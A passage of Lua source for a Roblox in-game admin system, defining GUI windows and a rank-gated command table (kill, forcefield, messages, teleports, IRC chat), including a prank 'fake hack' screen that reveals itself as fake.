70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319" local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left" local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom" if InfoText then Info.Text = InfoText end local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui" local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo" CloseGui.OnInvoke = function() Close:Invoke() Dead = true end AddInfo.OnInvoke = function(AddText) Info.Text = AddText end coroutine.wrap(function() for i = 0,math.huge,3 do if Dead == false and Frame then WaitIcon.Rotation = i wait() else break end end end)() coroutine.wrap(function() while Dead == false and Frame do wait(0.5) LoadLabel.Text = Text.."." wait(0.5) LoadLabel.Text = Text..".." wait(0.5) LoadLabel.Text = Text.."..." wait(0.5) LoadLabel.Text = Text..".." wait(0.5) LoadLabel.Text = Text.."." wait(0.5) LoadLabel.Text = Text end end)() wait(1) return CloseGui, AddInfo end function GUI:FakeHack(Player) coroutine.wrap(function() if not Player or not Player:FindFirstChild("PlayerGui") then return end local FakeText = [[ >SHELL: BEGIN >RUNCODE: return { local Hack = {"Account", "Tix", "Robux"}; function Start(Type, Inject, Scan) if not Inject then Inject = "In-Game" end return {Type, Inject, Scan} end for Exe,Exploit in pairs(Hack) do local IP = Start("In-Game",Exploit, BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT), {"LOCAL-IP", "SERVER-IP", "HOST-IP"} ) Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end for i = 1,#Injection[2] do Log("PlayerData", "ConnectHost", "PLAYERNAME") end local PlayerProxy = newproxy(true) setmetatable(PlayerProxy,Injection[3],{ __index = function(StealData, ...) local Data = unpack(...) return {Data,"IP-KEY-LOG: 'PLAYERNAME'"} end; }) end Log("HACKED HOST: PLAYERNAME") } >HACKED HOST: PLAYERNAME ]] local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui") if SG then SG:Destroy() end SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Hack Gui" local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200) local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 X.MouseButton1Click:connect(function() SG:Destroy() end) local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true for i = 1,#FakeText do HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i) if math.random(1,5) == 1 then wait() end end HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name) wait(3) HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]] X.Visible = true end)() end function GUI:CommandBar(Player) if not Player or not Player:FindFirstChild("PlayerGui") then return nil end local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true) local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor() local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0) local _,Rank = RANK:GetRank(Player) local UsableCommands = {} for CommandNames,Data in pairs(Commands) do if not Data.Hidden then if RANK:ConvertRank(Data[4]) <= Rank then for _,Command in pairs(CommandNames) do table.insert(UsableCommands, {Command, Data[3]}) end end end end local function ExecuteText() CORE:Chatted(CommandBox.Text, Player, true) CommandBox.Text = "Enter a command here" end local function AddSuggestion(Text) if Text == nil then Text = Settings.Prefix end local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0) Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25) Suggestion.MouseButton1Down:connect(function() if Text == Settings.Prefix then CommandBox.Text = Settings.Prefix else CommandBox.Text = Settings.Prefix..Text end CORE:ExecuteResource("Focus", CommandBox) end) end CommandBox.MouseEnter:connect(function() if CommandBox.Text == "Enter a command here" then CommandBox.Text = "" end end) local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed" CORE:ExecuteResource("ChatBoxLocal", CommandBox) Execute.MouseButton1Down:connect(ExecuteText) EnterPressed.OnServerInvoke = ExecuteText CommandBox.Changed:connect(function(Prop) if Prop == "Text" then Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest:ClearAllChildren() local Text = CommandBox.Text if Text == "" then AddSuggestion(Settings.Prefix) end if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then Text = string.sub(Text,#Settings.Prefix+1) end for _,Data in pairs(UsableCommands) do local Command,Args = Data[1],Data[2] if string.find(string.lower(Command),string.lower(Text)) then local NewSuggestion = Command if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end AddSuggestion(NewSuggestion) end end end end) end function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function() if not Player or not AllSeconds then return nil end AllSeconds = tonumber(AllSeconds) local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730) AllSeconds = math.floor(AllSeconds) if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor() local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0 local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2 local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1) local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1) local CurrentSeconds = AllSeconds local Alive = true coroutine.wrap(function() for i = 0,AllSeconds do if not Alive then break end local Seconds = tostring(math.fmod(CurrentSeconds,60)) local Minutes = tostring(math.floor(CurrentSeconds/60)) if #Seconds == 1 then Seconds = "0"..Seconds end if #Minutes == 1 then Minutes = "0"..Minutes end Time.Text = Minutes..":"..Seconds wait(1) if CurrentSeconds <= 0 then Alarm:Play() Time.Text = "00:00" Part.Size = UDim2.new(1,0,1,0) Restore:Invoke() wait(4) Close:Invoke() break else Tick:Play() Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0) CurrentSeconds = CurrentSeconds - 1 end end end)() Closed.Event:connect(function() if Alive == true then Alive = false Tick:Stop() Alarm:Stop() end end) end)() end function GUI:DetachChat(Player) if not Player or not Player:FindFirstChild("PlayerGui") then return nil end if Player:FindFirstChild("DetachChatMML") then Player.DetachChatMML:Invoke(true) wait() Player.DetachChatMML:Destroy() end local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259) local SG = Frame.Parent.Parent.Parent local DCBF = Instance.new("BindableFunction", Player) DCBF.Name = "DetachChatMML" DCBF.OnInvoke = function(Remove) if Remove then SG:Destroy() end end CORE:ExecuteResource("CoreChat", SG) local IsClosed = false Closed.Event:connect(function() CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack")) IsClosed = true end) coroutine.wrap(function() Player.CharacterRemoving:wait() if not IsClosed then IsClosed = true wait(1) CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack")) end end)() end function GUI:SendChat(Player, Data) coroutine.wrap(function() if not Player then return nil end if type(Data) ~= "table" then Data = {Text = tostring(Data)} end Player:WaitForChild("SendChat"):InvokeClient(Player, Data) end)() end function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time) if not Player or not Player:FindFirstChild("PlayerGui") then return nil end local NumSounds = 0 for _,SG in pairs(Player.PlayerGui:GetChildren()) do if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then NumSounds = NumSounds + 1 end end local Size = UDim2.new(0.1, 100, 0.1, 100) local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false) Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound" local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = GUI:ContrastColor() Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title" local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = GUI:ContrastColor() Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator" local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer" local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2) coroutine.wrap(function() local Alive = true local function StopTimer() Alive = false end Closed.Event:connect(StopTimer) Minimized.Event:connect(StopTimer) Stop.MouseButton1Down:connect(StopTimer) for i = Time,0,-1 do for ii = 1,10 do if Alive == true then Timer.Text = i wait(0.1) else break end end end if Alive == true then Close:Invoke() else Timer:Destroy() Stop:Destroy() end end)() end ---- COMMANDS ---- -- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments}) Commands = { -- can't make local [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments) print("[MML's Admin]: Test message from "..Speaker.Name) GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check") end}; [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then Player.Character:BreakJoints() end end end}; [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then Instance.new("ForceField", Player.Character) end end end}; [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then for _,Get in pairs(Player.Character:GetChildren()) do if Get:IsA("ForceField") then Get:Destroy() end end end end end}; [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments) for _,Player in pairs(Server.Players:GetPlayers()) do GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true) end end}; [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments) for _,Player in pairs(Server.Players:GetPlayers()) do GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569) end end}; [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20) end end}; [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments) for _,Player in pairs(Server.Players:GetPlayers()) do GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24}) end end}; [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24}) end end}; [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) local AgeList = {} for _,Player in pairs(Players) do table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge)) end GUI:ListGui(Speaker, "Player Ages", AgeList, "Time") end}; [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) local AgeList = {} for _,Player in pairs(Players) do table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge)) end local SecondPlayers = STRING:Scan(Arguments[2], Speaker) for _,Player in pairs(SecondPlayers) do GUI:ListGui(Player, "Player Ages", AgeList, "Time") end end}; [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments) local Storage = {{}, {}, {}, {}} local StorageText = {} local Formatted = {} for CommandNames,Data in pairs(Commands) do if not Data.Hidden then local RankNeeded = RANK:ConvertRank(Data[4]) local Add = "" if Data[4] == "Non-Admin" then Add = "BLACK " end if Data[4] == "Admin" then Add = "CYAN " end if Data[4] == "Member" then Add = "BLUE " end if Data[4] == "Owner" then Add = "GREEN " end if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end local AddBet = Settings.Bet if Data[3] <= 0 then AddBet = "" end -- for commands with no args local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]" table.insert(Storage[RankNeeded + 1], Add..Text) StorageText[Text] = CommandNames end end for Num,_ in pairs(Storage) do table.sort(Storage[Num]) end for _,Table in pairs(Storage) do for _,Command in pairs(Table) do table.insert(Formatted, Command) end end local Clicked = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true) Clicked.Event:connect(function(Text) GUI:ShowCommand(Speaker, StorageText[Text]) end) end}; [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments) GUI:ShowCommand(Speaker, string.lower(Arguments[1])) end}; [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments) if GUI:GetColor(Arguments[1]) then local ColorScheme = string.upper(Arguments[1]) if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end Settings.ColorScheme = ColorScheme GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check") else GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error") end end}; [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments) local List = {} for Color,_ in pairs(Colors) do table.insert(List, Color.." "..Color) end GUI:ListGui(Speaker, "Color Schemes", List, 31320560) end}; [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments) local Transparency = tonumber(Arguments[1]) if Transparency then if Transparency > 90 then Transparency = 90 end if Transparency < 10 then Transparency = 10 end Settings.TransparencyScheme = Transparency/100 GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check") else GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error") end end}; [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments) if Fonts[Arguments[1]] then Settings.Font = Arguments[1] GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check") end end}; [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments) Settings.Fun = not Settings.Fun GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun)) end}; [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments) Settings.DisableAbuse = not Settings.DisableAbuse GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse))) end}; [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments) local List = {} for Font,_ in pairs(Fonts) do if Font == Settings.Font then table.insert(List, Font.." "..Font.." (CURRENT FONT)") else table.insert(List, Font.." "..Font) end end GUI:ListGui(Speaker, "Font list", List, 44453197) end}; [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments) local SoundID = tonumber(Arguments[1]) if SoundID then Settings.ExecuteNotificationSound = SoundID GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check") else GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error") end end}; [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments) Settings.ExecuteNotificationSound = 0 end}; [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:ChangeCharacter(Player, Arguments[2], false, Speaker) end end}; [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:ChangeCharacter(Player, 13416513, false, Speaker) end end}; [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do coroutine.wrap(function() CORE:ChangeCharacter(Player, 38837082, false, Speaker) wait(1) GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7) end)() end end, Hidden = true}; [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true) end end}; [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:ChangeName(Player, Arguments[2]) end end}; [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then local Head = Player.Character:FindFirstChild("Label") if Head then Head:Destroy() end local Head = Player.Character:FindFirstChild("Head") if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end end end end}; [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:ChangeCharacter(Player, 11397, false, Speaker) end end}; [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do local _,RankNum = RANK:GetRank(Player) if RankNum <= RANK:ConvertRank(Rank) then Server.TS:Teleport(Arguments[2], Player) end end end}; [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2])) if Suc then for _,Player in pairs(Players) do Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player) end else GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5) end end}; [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) MARKET:PromptPurchase(Player, Arguments[2], Speaker, function() local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2])) if Suc then for _,Player in pairs(Players) do Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player) end else GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5) end end) end}; [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do local _,RankNum = RANK:GetRank(Player) if RankNum < RANK:ConvertRank(Rank) then Server.TS:Teleport(155307015, Player) end end end}; [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do local _,RankNum = RANK:GetRank(Player) if RankNum < RANK:ConvertRank(Rank) then Server.TS:Teleport(347911447, Player) end end end}; [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:GenerateShield(Player) end end}; [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then local Shield = Player.Character:FindFirstChild("Shield") if Shield then Shield:Destroy() end end end end}; [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments) local Num = tonumber(Arguments[1]) if Num and Num ~= 0 then local Random = math.random(1,math.abs(Num)) if Random == math.random(1,math.abs(Num)) then GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check") else GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice") end else GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error") end end}; [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments) IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1]) IRC:AddChat(Speaker.Name, Arguments[1]) end}; --[[ [{"newserver", "makeserver"}] = {"", "Opens new server on the current game (HTTP)", 0, "Owner", false, function(Speaker, Rank, Arguments) local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId) if Res then GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check") end end}; [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game (HTTP)", 1, "Owner", false, function(Speaker, Rank, Arguments) local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1]) if Res then GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check") end end}; ]] [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments) IRC:Quit("Reconnecting") IRC:ConnectToServer(Settings.IRCServer) end}; [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do local PreAdd = {} for _,Data in pairs(IRC.Chats) do local Error = nil if Rank == "Owner" then Error = Data[3] end table.insert(PreAdd, {Data[1], Data[2], Error}) end local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd) IRC.MessageAdded.Event:connect(function(UserName, Message, Error) if Rank ~= "Owner" then Error = nil end AddMessage:Invoke(UserName, Message, Error) end) SendPressed.Event:connect(function(Text) IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text) IRC:AddChat(Player.Name, Text) end) end end}; [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type) if Type == "Leave" then PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat") elseif Type == "Join" then PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat") end end) PriChat.Chatted.Event:connect(function(UserName, Message) AddMessage:Invoke(UserName, Message) end) SendPressed.Event:connect(function(Text) PriChat.Chatted:Fire(Player.Name, Text) table.insert(PriChat.Chats, {Player.Name, Text}) end) end end}; [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, 